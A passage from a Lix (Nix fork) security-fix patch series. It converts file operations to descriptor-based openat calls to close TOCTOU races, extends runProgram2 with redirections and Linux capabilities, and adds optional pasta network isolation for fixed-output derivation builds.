++     * SAFETY: this function is prone to TOCTOU as it receives a path and not a descriptor.
++     * It's only safe to call in a child of a directory only visible to the owner.
+      */
+     void chownToBuilder(const Path & path);
+ 
++    /**
++     * Make a file owned by the builder addressed by its file descriptor.
++     */
++    void chownToBuilder(const AutoCloseFD & fd);
++
+     int getChildStatus() override;
+ 
+     /**
+-- 
+2.49.0
+
+
+From ee8382a01253059b8680d041b860b361cbde6192 Mon Sep 17 00:00:00 2001
+From: Raito Bezarius <raito@lix.systems>
+Date: Wed, 26 Mar 2025 01:06:03 +0100
+Subject: [SECURITY FIX 04/12] libutil: writeFile variant for file descriptors
+
+`writeFile` lose its `sync` boolean flag to make things simpler.
+
+A new `writeFileAndSync` function is created and all call sites are
+converted to it.
+
+Change-Id: Ib871a5283a9c047db1e4fe48a241506e4aab9192
+Signed-off-by: Raito Bezarius <raito@lix.systems>
+---
+ lix/libstore/local-store.cc |  4 +--
+ lix/libutil/file-system.cc  | 50 ++++++++++++++++++++++++++-----------
+ lix/libutil/file-system.hh  | 22 ++++++++--------
+ 3 files changed, 49 insertions(+), 27 deletions(-)
+
+diff --git a/lix/libstore/local-store.cc b/lix/libstore/local-store.cc
+index 3d75be2f4..1d4ba8665 100644
+--- a/lix/libstore/local-store.cc
++++ b/lix/libstore/local-store.cc
+@@ -224,7 +224,7 @@ void LocalStore::initDB(DBState & state)
+     else if (curSchema == 0) { /* new store */
+         curSchema = nixSchemaVersion;
+         openDB(state, true);
+-        writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true);
++        writeFileAndSync(schemaPath, fmt("%1%", nixSchemaVersion), 0666);
+     }
+ 
+     else if (curSchema < nixSchemaVersion) {
+@@ -277,7 +277,7 @@ void LocalStore::initDB(DBState & state)
+             txn.commit();
+         }
+ 
+-        writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true);
++        writeFileAndSync(schemaPath, fmt("%1%", nixSchemaVersion), 0666);
+ 
+         lockFile(globalLock.get(), ltRead, always_progresses);
+     }
+diff --git a/lix/libutil/file-system.cc b/lix/libutil/file-system.cc
+index 47fc2f7ba..0fe70d938 100644
+--- a/lix/libutil/file-system.cc
++++ b/lix/libutil/file-system.cc
+@@ -358,28 +358,49 @@ Generator<Bytes> readFileSource(const Path & path)
+     }(std::move(fd));
+ }
+ 
+-void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync, bool allowInterrupts)
++void writeFile(const Path & path, std::string_view s, mode_t mode, bool allowInterrupts)
+ {
+     AutoCloseFD fd{open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC, mode)};
+     if (!fd)
+         throw SysError("opening file '%1%'", path);
++
++    writeFile(fd, s, mode, allowInterrupts);
++
++    /* Close explicitly to propagate the exceptions. */
++    fd.close();
++}
++
++void writeFile(AutoCloseFD & fd, std::string_view s, mode_t mode, bool allowInterrupts)
++{
++    assert(fd);
+     try {
+         writeFull(fd.get(), s, allowInterrupts);
+     } catch (Error & e) {
+-        e.addTrace({}, "writing file '%1%'", path);
++        e.addTrace({}, "writing file '%1%'", fd.guessOrInventPath());
+         throw;
+     }
+-    if (sync)
+-        fd.fsync();
+-    // Explicitly close to make sure exceptions are propagated.
+-    fd.close();
+-    if (sync)
+-        syncParent(path);
+ }
+ 
+-void writeFileUninterruptible(const Path & path, std::string_view s, mode_t mode, bool sync)
++void writeFileUninterruptible(const Path & path, std::string_view s, mode_t mode)
++{
++    writeFile(path, s, mode, false);
++}
++
++void writeFileAndSync(const Path & path, std::string_view s, mode_t mode)
+ {
+-    writeFile(path, s, mode, sync, false);
++    {
++        AutoCloseFD fd{open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC, mode)};
++        if (!fd) {
++            throw SysError("opening file '%1%'", path);
++        }
++
++        writeFile(fd, s, mode);
++        fd.fsync();
++        /* Close explicitly to ensure that exceptions are propagated. */
++        fd.close();
++    }
++
++    syncParent(path);
+ }
+ 
+ static AutoCloseFD openForWrite(const Path & path, mode_t mode)
+@@ -400,7 +421,7 @@ static void closeForWrite(const Path & path, AutoCloseFD & fd, bool sync)
+         syncParent(path);
+ }
+ 
+-void writeFile(const Path & path, Source & source, mode_t mode, bool sync)
++void writeFile(const Path & path, Source & source, mode_t mode)
+ {
+     AutoCloseFD fd = openForWrite(path, mode);
+ 
+@@ -417,11 +438,10 @@ void writeFile(const Path & path, Source & source, mode_t mode, bool sync)
+         e.addTrace({}, "writing file '%1%'", path);
+         throw;
+     }
+-    closeForWrite(path, fd, sync);
++    closeForWrite(path, fd, false);
+ }
+ 
+-kj::Promise<Result<void>>
+-writeFile(const Path & path, AsyncInputStream & source, mode_t mode, bool sync)
++kj::Promise<Result<void>> writeFile(const Path & path, AsyncInputStream & source, mode_t mode)
+ try {
+     AutoCloseFD fd = openForWrite(path, mode);
+ 
+@@ -439,7 +459,7 @@ try {
+         e.addTrace({}, "writing file '%1%'", path);
+         throw;
+     }
+-    closeForWrite(path, fd, sync);
++    closeForWrite(path, fd, false);
+     co_return result::success();
+ } catch (...) {
+     co_return result::current_exception();
+diff --git a/lix/libutil/file-system.hh b/lix/libutil/file-system.hh
+index 7d76b4fd0..a6267825d 100644
+--- a/lix/libutil/file-system.hh
++++ b/lix/libutil/file-system.hh
+@@ -190,19 +190,21 @@ Generator<Bytes> readFileSource(const Path & path);
+  * Write a string to a file.
+  */
+ void writeFile(
+-    const Path & path,
+-    std::string_view s,
+-    mode_t mode = 0666,
+-    bool sync = false,
+-    bool allowInterrupts = true
+-);
+-void writeFileUninterruptible(
+-    const Path & path, std::string_view s, mode_t mode = 0666, bool sync = false
++    const Path & path, std::string_view s, mode_t mode = 0666, bool allowInterrupts = true
+ );
++void writeFileUninterruptible(const Path & path, std::string_view s, mode_t mode = 0666);
++void writeFile(const Path & path, Source & source, mode_t mode = 0666);
+ 
+-void writeFile(const Path & path, Source & source, mode_t mode = 0666, bool sync = false);
++void writeFile(
++    AutoCloseFD & fd, std::string_view s, mode_t mode = 0666, bool allowInterrupts = false
++);
+ kj::Promise<Result<void>>
+-writeFile(const Path & path, AsyncInputStream & source, mode_t mode = 0666, bool sync = false);
++writeFile(const Path & path, AsyncInputStream & source, mode_t mode = 0666);
++
++/**
++ * Write a string to a file and flush the file and its parents direcotry to disk.
++ */
++void writeFileAndSync(const Path & path, std::string_view s, mode_t mode = 0666);
+ 
+ /**
+  * Flush a file's parent directory to disk
+-- 
+2.49.0
+
+
+From 8b93c4c17a7eabf7bdfd71da2bbe41454be96adb Mon Sep 17 00:00:00 2001
+From: Raito Bezarius <raito@lix.systems>
+Date: Wed, 26 Mar 2025 01:07:47 +0100
+Subject: [SECURITY FIX 05/12] libstore: ensure that `passAsFile` is created in
+ the original temp dir
+
+This ensures that `passAsFile` data is created inside the expected
+temporary build directory by `openat()` from the parent directory file
+descriptor.
+
+This avoids a TOCTOU which is part of the attack chain of CVE-????.
+
+Change-Id: Ie5273446c4a19403088d0389ae8e3f473af8879a
+Signed-off-by: Raito Bezarius <raito@lix.systems>
+---
+ lix/libstore/build/local-derivation-goal.cc | 9 +++++++--
+ 1 file changed, 7 insertions(+), 2 deletions(-)
+
+diff --git a/lix/libstore/build/local-derivation-goal.cc b/lix/libstore/build/local-derivation-goal.cc
+index 6d93c6841..c33bd8283 100644
+--- a/lix/libstore/build/local-derivation-goal.cc
++++ b/lix/libstore/build/local-derivation-goal.cc
+@@ -814,8 +814,13 @@ void LocalDerivationGoal::initTmpDir() {
+                 auto hash = hashString(HashType::SHA256, i.first);
+                 std::string fn = ".attr-" + hash.to_string(Base::Base32, false);
+                 Path p = tmpDir + "/" + fn;
+-                writeFile(p, rewriteStrings(i.second, inputRewrites));
+-                chownToBuilder(p);
++                /* TODO(jade): we should have BorrowedFD instead of OwnedFD. */
++                AutoCloseFD passAsFileFd{openat(tmpDirFd.get(), fn.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC | O_EXCL | O_NOFOLLOW, 0666)};
++                if (!passAsFileFd) {
++                    throw SysError("opening `passAsFile` file in the sandbox '%1%'", p);
++                }
++                writeFile(passAsFileFd, rewriteStrings(i.second, inputRewrites));
++                chownToBuilder(passAsFileFd);
+                 env[i.first + "Path"] = tmpDirInSandbox + "/" + fn;
+             }
+         }
+-- 
+2.49.0
+
+
+From d092cfa499fad3c661c7f07d2b5e0150b936db8e Mon Sep 17 00:00:00 2001
+From: Raito Bezarius <raito@lix.systems>
+Date: Wed, 26 Mar 2025 12:42:55 +0100
+Subject: [SECURITY FIX 06/12] libutil: ensure that `_deletePath` does NOT use
+ absolute paths with dirfds
+
+When calling `_deletePath` with a parent file descriptor, `openat` is
+made effective by using relative paths to the directory file descriptor.
+
+To avoid the problem, the signature is changed to resist misuse with an
+assert in the prologue of the function.
+
+Change-Id: I6b3fc766bad2afe54dc27d47d1df3873e188de96
+Signed-off-by: Raito Bezarius <raito@lix.systems>
+---
+ lix/libutil/file-system.cc | 36 ++++++++++++++++++++++++------------
+ 1 file changed, 24 insertions(+), 12 deletions(-)
+
+diff --git a/lix/libutil/file-system.cc b/lix/libutil/file-system.cc
+index 0fe70d938..1b71caeb1 100644
+--- a/lix/libutil/file-system.cc
++++ b/lix/libutil/file-system.cc
+@@ -473,18 +473,29 @@ void syncParent(const Path & path)
+     fd.fsync();
+ }
+ 
+-static void _deletePath(int parentfd, const Path & path, uint64_t & bytesFreed, bool interruptible)
++/* TODO(horrors): a better structure that links all parent fds for the traversal root
++ * should be considered for this code
++ */
++static void _deletePath(int parentfd, const std::string & name, uint64_t & bytesFreed, bool interruptible)
+ {
++    /* This ensures that `name` is an immediate child of `parentfd`. */
++    assert(!name.empty() && name.find('/') == std::string::npos && "`name` is an immediate child to `parentfd`");
++
+     if (interruptible) {
+         checkInterrupt();
+     }
+ 
+-    std::string name(baseNameOf(path));
++    /* FIXME(horrors): there's a minor TOCTOU here.
++     * we fstatat the inode nofollow, check if this is a directory
++     * and then open it.
++     * a better alternative is open it as O_PATH as a namefd.
++     * if it's a directory, it can be openat with the namefd.
++     */
+ 
+     struct stat st;
+     if (fstatat(parentfd, name.c_str(), &st, AT_SYMLINK_NOFOLLOW) == -1) {
+         if (errno == ENOENT) return;
+-        throw SysError("getting status of '%1%'", path);
++        throw SysError("getting status of '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd));
+     }
+ 
+     if (!S_ISDIR(st.st_mode)) {
+@@ -515,24 +526,25 @@ static void _deletePath(int parentfd, const Path & path, uint64_t & bytesFreed,
+         /* Make the directory accessible. */
+         const auto PERM_MASK = S_IRUSR | S_IWUSR | S_IXUSR;
+         if ((st.st_mode & PERM_MASK) != PERM_MASK) {
+-            if (fchmodat(parentfd, name.c_str(), st.st_mode | PERM_MASK, 0) == -1)
+-                throw SysError("chmod '%1%'", path);
++            if (fchmodat(parentfd, name.c_str(), st.st_mode | PERM_MASK, 0) == -1) {
++                throw SysError("chmod '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd));
++            }
+         }
+ 
+-        int fd = openat(parentfd, path.c_str(), O_RDONLY);
++        int fd = openat(parentfd, name.c_str(), O_RDONLY | O_DIRECTORY | O_NOFOLLOW);
+         if (fd == -1)
+-            throw SysError("opening directory '%1%'", path);
++            throw SysError("opening directory '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd));
+         AutoCloseDir dir(fdopendir(fd));
+         if (!dir)
+-            throw SysError("opening directory '%1%'", path);
+-        for (auto & i : readDirectory(dir.get(), path, interruptible))
+-            _deletePath(dirfd(dir.get()), path + "/" + i.name, bytesFreed, interruptible);
++            throw SysError("opening directory '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd));
++        for (auto & i : readDirectory(dir.get(), name, interruptible))
++            _deletePath(dirfd(dir.get()), i.name, bytesFreed, interruptible);
+     }
+ 
+     int flags = S_ISDIR(st.st_mode) ? AT_REMOVEDIR : 0;
+     if (unlinkat(parentfd, name.c_str(), flags) == -1) {
+         if (errno == ENOENT) return;
+-        throw SysError("cannot unlink '%1%'", path);
++        throw SysError("cannot unlink '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd));
+     }
+ }
+ 
+@@ -548,7 +560,7 @@ static void _deletePath(const Path & path, uint64_t & bytesFreed, bool interrupt
+         throw SysError("opening directory '%1%'", path);
+     }
+ 
+-    _deletePath(dirfd.get(), path, bytesFreed, interruptible);
++    _deletePath(dirfd.get(), std::string(baseNameOf(path)), bytesFreed, interruptible);
+ }
+ 
+ 
+-- 
+2.49.0
+
+
+From 500a7406a0f6fe2d9132da70d10688cfc7fa598d Mon Sep 17 00:00:00 2001
+From: eldritch horrors <pennae@lix.systems>
+Date: Mon, 17 Mar 2025 15:45:27 +0100
+Subject: [SECURITY FIX 07/12] libutil: make RunningProgram more useful
+
+make it moveable, make it killable, and add a stdout fd accessor.
+
+Change-Id: I2387cbe8ac67b899a322cd6c7d306ef9ea7abcd0
+---
+ lix/libcmd/repl.cc                    |  4 ++--
+ lix/libfetchers/git.cc                |  2 +-
+ lix/libstore/build/derivation-goal.cc |  2 +-
+ lix/libutil/processes.cc              | 19 +++++++++++++++++--
+ lix/libutil/processes.hh              | 16 +++++++++++++++-
+ 5 files changed, 36 insertions(+), 7 deletions(-)
+
+diff --git a/lix/libcmd/repl.cc b/lix/libcmd/repl.cc
+index 50ce1cd3a..5afebea93 100644
+--- a/lix/libcmd/repl.cc
++++ b/lix/libcmd/repl.cc
+@@ -254,7 +254,7 @@ void runNix(Path program, const Strings & args)
+         .program = settings.nixBinDir+ "/" + program,
+         .args = args,
+         .environment = subprocessEnv,
+-    }).wait();
++    }).waitAndCheck();
+ 
+     return;
+ }
+@@ -672,7 +672,7 @@ ProcessLineResult NixRepl::processLine(std::string line)
+ 
+         // runProgram redirects stdout to a StringSink,
+         // using runProgram2 to allow editors to display their UI
+-        runProgram2(RunOptions { .program = editor, .searchPath = true, .args = args }).wait();
++        runProgram2(RunOptions { .program = editor, .searchPath = true, .args = args }).waitAndCheck();
+ 
+         // Reload right after exiting the editor if path is not in store
+         // Store is immutable, so there could be no changes, so there's no need to reload
+diff --git a/lix/libfetchers/git.cc b/lix/libfetchers/git.cc
+index b44ea997a..3231ec011 100644
+--- a/lix/libfetchers/git.cc
++++ b/lix/libfetchers/git.cc
+@@ -777,7 +777,7 @@ struct GitInputScheme : InputScheme
+                 .args = { "-C", repoDir, "--git-dir", gitDir, "archive", input.getRev()->gitRev() },
+                 .captureStdout = true,
+             });
+-            Finally const _wait([&] { proc.wait(); });
++            Finally const _wait([&] { proc.waitAndCheck(); });
+ 
+             unpackTarfile(*proc.getStdout(), tmpDir);
+         }
+diff --git a/lix/libstore/build/derivation-goal.cc b/lix/libstore/build/derivation-goal.cc
+index 6767bc37e..69e654490 100644
+--- a/lix/libstore/build/derivation-goal.cc
++++ b/lix/libstore/build/derivation-goal.cc
+@@ -895,7 +895,7 @@ void runPostBuildHook(
+     });
+     Finally const _wait([&] {
+         try {
+-            proc.wait();
++            proc.waitAndCheck();
+         } catch (nix::Error & e) {
+             e.addTrace(nullptr,
+                 "while running the post-build-hook %s for derivation %s",
+diff --git a/lix/libutil/processes.cc b/lix/libutil/processes.cc
+index e2cc2515b..6b24d943f 100644
+--- a/lix/libutil/processes.cc
++++ b/lix/libutil/processes.cc
+@@ -249,7 +249,7 @@ std::pair<int, std::string> runProgram(RunOptions && options)
+ 
+     try {
+         auto proc = runProgram2(options);
+-        Finally const _wait([&] { proc.wait(); });
++        Finally const _wait([&] { proc.waitAndCheck(); });
+         stdout = proc.getStdout()->drain();
+     } catch (ExecError & e) {
+         status = e.status;
+@@ -277,7 +277,22 @@ RunningProgram::~RunningProgram()
+     }
+ }
+ 
+-void RunningProgram::wait()
++std::tuple<pid_t, std::unique_ptr<Source>, int> RunningProgram::release()
++{
++    return {pid.release(), std::move(stdoutSource), stdout_.release()};
++}
++
++int RunningProgram::kill()
++{
++    return pid.kill();
++}
++
++int RunningProgram::wait()
++{
++    return pid.wait();
++}
++
++void RunningProgram::waitAndCheck()
+ {
+     if (std::uncaught_exceptions() == 0) {
+         int status = pid.wait();
+diff --git a/lix/libutil/processes.hh b/lix/libutil/processes.hh
+index e9e4eb15a..01c42b9fc 100644
+--- a/lix/libutil/processes.hh
++++ b/lix/libutil/processes.hh
+@@ -102,9 +102,23 @@ private:
+ 
+ public:
+     RunningProgram() = default;
++    RunningProgram(RunningProgram &&) = default;
++    RunningProgram & operator=(RunningProgram &&) = default;
+     ~RunningProgram();
+ 
+-    void wait();
++    explicit operator bool() const { return bool(pid); }
++
++    std::tuple<pid_t, std::unique_ptr<Source>, int> release();
++
++    int kill();
++    [[nodiscard]]
++    int wait();
++    void waitAndCheck();
++
++    std::optional<int> getStdoutFD() const
++    {
++        return stdout_ ? std::optional(stdout_.get()) : std::nullopt;
++    }
+ 
+     Source * getStdout() const { return stdoutSource.get(); };
+ };
+-- 
+2.49.0
+
+
+From 7f127054bec18da811bf3364909870f7a54f6b8d Mon Sep 17 00:00:00 2001
+From: eldritch horrors <pennae@lix.systems>
+Date: Mon, 17 Mar 2025 15:45:27 +0100
+Subject: [SECURITY FIX 08/12] libutil: add generic redirections runProgram2
+
+explicit stderr redirection makes mergeStderrToStdout unnecessary also.
+
+Change-Id: I63de929e6dc53f6c5ceb2d43c2ce288bfc04d872
+---
+ lix/libfetchers/git.cc                | 23 +++++++++++++++++------
+ lix/libstore/build/derivation-goal.cc |  2 +-
+ lix/libstore/globals.cc               | 12 ++++++++++--
+ lix/libstore/ssh.cc                   |  1 +
+ lix/libutil/processes.cc              |  8 +++++---
+ lix/libutil/processes.hh              |  7 ++++++-
+ 6 files changed, 40 insertions(+), 13 deletions(-)
+
+diff --git a/lix/libfetchers/git.cc b/lix/libfetchers/git.cc
+index 3231ec011..aa3ef7150 100644
+--- a/lix/libfetchers/git.cc
++++ b/lix/libfetchers/git.cc
+@@ -22,6 +22,7 @@
+ #include <string.h>
+ #include <sys/time.h>
+ #include <sys/wait.h>
++#include <unistd.h>
+ 
+ using namespace std::string_literals;
+ 
+@@ -164,11 +165,19 @@ WorkdirInfo getWorkdirInfo(const Input & input, const Path & workdir)
+ 
+     /* Check whether HEAD points to something that looks like a commit,
+        since that is the refrence we want to use later on. */
+-    auto result = runProgram(RunOptions {
++    auto result = runProgram(RunOptions{
+         .program = "git",
+-        .args = { "-C", workdir, "--git-dir", gitDir, "rev-parse", "--verify", "--no-revs", "HEAD^{commit}" },
++        .args =
++            {"-C",
++             workdir,
++             "--git-dir",
++             gitDir,
++             "rev-parse",
++             "--verify",
++             "--no-revs",
++             "HEAD^{commit}"},
+         .environment = env,
+-        .mergeStderrToStdout = true
++        .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}},
+     });
+     auto exitCode = WEXITSTATUS(result.first);
+     auto errorMessage = result.second;
+@@ -709,10 +718,12 @@ struct GitInputScheme : InputScheme
+         AutoDelete delTmpDir(tmpDir, true);
+         PathFilter filter = defaultPathFilter;
+ 
+-        auto result = runProgram(RunOptions {
++        auto result = runProgram(RunOptions{
+             .program = "git",
+-            .args = { "-C", repoDir, "--git-dir", gitDir, "cat-file", "commit", input.getRev()->gitRev() },
+-            .mergeStderrToStdout = true
++            .args =
++                {"-C", repoDir, "--git-dir", gitDir, "cat-file", "commit", input.getRev()->gitRev()
++                },
++            .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}},
+         });
+         if (WEXITSTATUS(result.first) == 128
+             && result.second.find("bad file") != std::string::npos)
+diff --git a/lix/libstore/build/derivation-goal.cc b/lix/libstore/build/derivation-goal.cc
+index 69e654490..48d38ffb4 100644
+--- a/lix/libstore/build/derivation-goal.cc
++++ b/lix/libstore/build/derivation-goal.cc
+@@ -891,7 +891,7 @@ void runPostBuildHook(
+         .program = settings.postBuildHook,
+         .environment = hookEnvironment,
+         .captureStdout = true,
+-        .mergeStderrToStdout = true,
++        .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}},
+     });
+     Finally const _wait([&] {
+         try {
+diff --git a/lix/libstore/globals.cc b/lix/libstore/globals.cc
+index 9221da32b..b4328b068 100644
+--- a/lix/libstore/globals.cc
++++ b/lix/libstore/globals.cc
+@@ -242,9 +242,17 @@ StringSet Settings::getDefaultExtraPlatforms()
+     // machines. Note that we can’t force processes from executing
+     // x86_64 in aarch64 environments or vice versa since they can
+     // always exec with their own binary preferences.
+-    if (std::string{SYSTEM} == "aarch64-darwin" &&
+-        runProgram(RunOptions {.program = "arch", .args = {"-arch", "x86_64", "/usr/bin/true"}, .mergeStderrToStdout = true}).first == 0)
++    if (std::string{SYSTEM} == "aarch64-darwin"
++        && runProgram(RunOptions{
++                          .program = "arch",
++                          .args = {"-arch", "x86_64", "/usr/bin/true"},
++                          .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}}
++                      }
++           ).first
++            == 0)
++    {
+         extraPlatforms.insert("x86_64-darwin");
++    }
+ #endif
+ 
+     return extraPlatforms;
+diff --git a/lix/libstore/ssh.cc b/lix/libstore/ssh.cc
+index b43cc50a9..2b329f231 100644
+--- a/lix/libstore/ssh.cc
++++ b/lix/libstore/ssh.cc
+@@ -8,6 +8,7 @@
+ #include "lix/libutil/strings.hh"
+ #include "lix/libstore/temporary-dir.hh"
+ #include <sys/socket.h>
++#include <unistd.h>
+ 
+ namespace nix {
+ 
+diff --git a/lix/libutil/processes.cc b/lix/libutil/processes.cc
+index 6b24d943f..0dcd96ba9 100644
+--- a/lix/libutil/processes.cc
++++ b/lix/libutil/processes.cc
+@@ -330,9 +330,11 @@ RunningProgram runProgram2(const RunOptions & options)
+             replaceEnv(*options.environment);
+         if (options.captureStdout && dup2(out.writeSide.get(), STDOUT_FILENO) == -1)
+             throw SysError("dupping stdout");
+-        if (options.mergeStderrToStdout)
+-            if (dup2(STDOUT_FILENO, STDERR_FILENO) == -1)
+-                throw SysError("cannot dup stdout into stderr");
++        for (auto redirection : options.redirections) {
++            if (dup2(redirection.to, redirection.from) == -1) {
++                throw SysError("dupping fd %i to %i", redirection.from, redirection.to);
++            }
++        }
+ 
+         if (options.chdir && chdir((*options.chdir).c_str()) == -1)
+             throw SysError("chdir failed");
+diff --git a/lix/libutil/processes.hh b/lix/libutil/processes.hh
+index 01c42b9fc..3311b8fb8 100644
+--- a/lix/libutil/processes.hh
++++ b/lix/libutil/processes.hh
+@@ -76,6 +76,11 @@ std::string runProgram(Path program, bool searchPath = false,
+ 
+ struct RunOptions
+ {
++    struct Redirection
++    {
++        int from, to;
++    };
++
+     Path program;
+     bool searchPath = true;
+     Strings args = {};
+@@ -84,8 +89,8 @@ struct RunOptions
+     std::optional<Path> chdir = {};
+     std::optional<std::map<std::string, std::string>> environment = {};
+     bool captureStdout = false;
+-    bool mergeStderrToStdout = false;
+     bool isInteractive = false;
++    std::vector<Redirection> redirections;
+ };
+ 
+ struct [[nodiscard("you must call RunningProgram::wait()")]] RunningProgram
+-- 
+2.49.0
+
+
+From 582f775ac358f9da682f707a3f58f228f7fdaed8 Mon Sep 17 00:00:00 2001
+From: eldritch horrors <pennae@lix.systems>
+Date: Fri, 28 Mar 2025 23:16:01 +0100
+Subject: [SECURITY FIX 09/12] libutil: add capability support to runProgram2
+
+launching pasta to not run as root will ambient require capabilities.
+
+Change-Id: I1dd2506a1fa3944a9d9062123ef8a74903c597ea
+---
+ lix/libutil/processes.cc | 47 ++++++++++++++++++++++++++++++++++++++++
+ lix/libutil/processes.hh |  3 +++
+ 2 files changed, 50 insertions(+)
+
+diff --git a/lix/libutil/processes.cc b/lix/libutil/processes.cc
+index 0dcd96ba9..2f214e552 100644
+--- a/lix/libutil/processes.cc
++++ b/lix/libutil/processes.cc
+@@ -22,6 +22,7 @@
+ #endif
+ 
+ #ifdef __linux__
++# include <linux/capability.h>
+ # include <sys/prctl.h>
+ # include <sys/mman.h>
+ #endif
+@@ -338,6 +339,13 @@ RunningProgram runProgram2(const RunOptions & options)
+ 
+         if (options.chdir && chdir((*options.chdir).c_str()) == -1)
+             throw SysError("chdir failed");
++
++#if __linux__
++        if (!options.caps.empty() && prctl(PR_SET_KEEPCAPS, 1) < 0) {
++            throw SysError("setting keep-caps failed");
++        }
++#endif
++
+         if (options.gid && setgid(*options.gid) == -1)
+             throw SysError("setgid failed");
+         /* Drop all other groups if we're setgid. */
+@@ -346,6 +354,45 @@ RunningProgram runProgram2(const RunOptions & options)
+         if (options.uid && setuid(*options.uid) == -1)
+             throw SysError("setuid failed");
+ 
++#if __linux__
++        if (!options.caps.empty()) {
++            if (prctl(PR_SET_KEEPCAPS, 0)) {
++                throw SysError("clearing keep-caps failed");
++            }
++
++            // we do the capability dance like this to avoid a dependency
++            // on libcap, which has a rather large build closure and many
++            // more features that we need for now. maybe some other time.
++            static constexpr uint32_t LINUX_CAPABILITY_VERSION_3 = 0x20080522;
++            static constexpr uint32_t LINUX_CAPABILITY_U32S_3 = 2;
++            struct user_cap_header_struct
++            {
++                uint32_t version;
++                int pid;
++            } hdr = {LINUX_CAPABILITY_VERSION_3, 0};
++            struct user_cap_data_struct
++            {
++                uint32_t effective;
++                uint32_t permitted;
++                uint32_t inheritable;
++            } data[LINUX_CAPABILITY_U32S_3] = {};
++            for (auto cap : options.caps) {
++                assert(cap / 32 < LINUX_CAPABILITY_U32S_3);
++                data[cap / 32].permitted |= 1 << (cap % 32);
++                data[cap / 32].inheritable |= 1 << (cap % 32);
++            }
++            if (syscall(SYS_capset, &hdr, data)) {
++                throw SysError("couldn't set capabilities");
++            }
++
++            for (auto cap : options.caps) {
++                if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0) < 0) {
++                    throw SysError("couldn't set ambient caps");
++                }
++            }
++        }
++#endif
++
+         Strings args_(options.args);
+         args_.push_front(options.program);
+ 
+diff --git a/lix/libutil/processes.hh b/lix/libutil/processes.hh
+index 3311b8fb8..6ca7f3bdf 100644
+--- a/lix/libutil/processes.hh
++++ b/lix/libutil/processes.hh
+@@ -91,6 +91,9 @@ struct RunOptions
+     bool captureStdout = false;
+     bool isInteractive = false;
+     std::vector<Redirection> redirections;
++#if __linux__
++    std::set<long> caps;
++#endif
+ };
+ 
+ struct [[nodiscard("you must call RunningProgram::wait()")]] RunningProgram
+-- 
+2.49.0
+
+
+From 6a61eea281de2c4d7d2b4f375511db0dacfec5ec Mon Sep 17 00:00:00 2001
+From: eldritch horrors <pennae@lix.systems>
+Date: Fri, 28 Mar 2025 23:04:56 +0100
+Subject: [SECURITY FIX 10/12] libstore: use pasta for FODs if available
+
+This allows using a userspace program, pasta, to handle comms between
+the build sandbox, and the outside world; allowing for full isolation
+including the network namespace, closing the "fixed-output derivation
+talks to the host over an abstract domain socket" hole for good.
+
+Co-Authored-By: Puck Meerburg <puck@puckipedia.com>
+Change-Id: Ifd499b7dbb3784600a6e842fede65fc031ff9f15
+---
+ doc/manual/rl-next/pasta.md                 |  20 +++
+ lix/libstore/build/local-derivation-goal.cc |  40 +++++-
+ lix/libstore/build/local-derivation-goal.hh |  15 +++
+ lix/libstore/globals.cc                     |   3 +
+ lix/libstore/meson.build                    |   7 ++
+ lix/libstore/platform/linux.cc              | 133 +++++++++++++++++++-
+ lix/libstore/platform/linux.hh              |  18 +++
+ lix/libstore/settings/pasta-path.md         |  10 ++
+ meson.build                                 |   7 ++
+ meson.options                               |   4 +
+ misc/passt.nix                              |  64 ++++++++++
+ package.nix                                 |   6 +
+ tests/nixos/ca-fd-leak/default.nix          |  90 -------------
+ tests/nixos/ca-fd-leak/sender.c             |  65 ----------
+ tests/nixos/ca-fd-leak/smuggler.c           |  66 ----------
+ tests/nixos/default.nix                     |   2 -
+ tests/nixos/fetchurl.nix                    |   2 +-
+ 17 files changed, 323 insertions(+), 229 deletions(-)
+ create mode 100644 doc/manual/rl-next/pasta.md
+ create mode 100644 lix/libstore/settings/pasta-path.md
+ create mode 100644 misc/passt.nix
+ delete mode 100644 tests/nixos/ca-fd-leak/default.nix
+ delete mode 100644 tests/nixos/ca-fd-leak/sender.c
+ delete mode 100644 tests/nixos/ca-fd-leak/smuggler.c
+
+diff --git a/doc/manual/rl-next/pasta.md b/doc/manual/rl-next/pasta.md
+new file mode 100644
+index 000000000..a7b7aa952
+--- /dev/null
++++ b/doc/manual/rl-next/pasta.md
+@@ -0,0 +1,20 @@
++---
++synopsis: "Fixed output derivations can be run using `pasta` network isolation"
++cls: []
++issues: [fj#285]
++category: "Breaking Changes"
++credits: [horrors, puck]
++---
++
++Fixed output derivations traditionally run in the host network namespace.
++On Linux this allows such derivations to communicate with other sandboxes
++or the host using the abstract Unix domains socket namespace; this hasn't
++been unproblematic in the past and has been used in two distinct exploits
++to break out of the sandbox. For this reason fixed output derivations can
++now run in a network namespace (provided by [`pasta`]), restricted to TCP
++and UDP communication with the rest of the world. When enabled this could
++be a breaking change and we classify it as such, even though we don't yet
++enable or require such isolation by default. We may enforce this in later
++releases of Lix once we have sufficient confidence that breakage is rare.
++
++[`pasta`]: https://passt.top/
+diff --git a/lix/libstore/build/local-derivation-goal.cc b/lix/libstore/build/local-derivation-goal.cc
+index c33bd8283..7ccb0ad33 100644
+--- a/lix/libstore/build/local-derivation-goal.cc
++++ b/lix/libstore/build/local-derivation-goal.cc
+@@ -13,6 +13,8 @@
+ #include "lix/libutil/archive.hh"
+ #include "lix/libstore/daemon.hh"
+ #include "lix/libutil/regex.hh"
++#include "lix/libutil/file-descriptor.hh"
++#include "lix/libutil/file-system.hh"
+ #include "lix/libutil/result.hh"
+ #include "lix/libutil/topo-sort.hh"
+ #include "lix/libutil/json.hh"
+@@ -24,6 +26,7 @@
+ #include "lix/libutil/mount.hh"
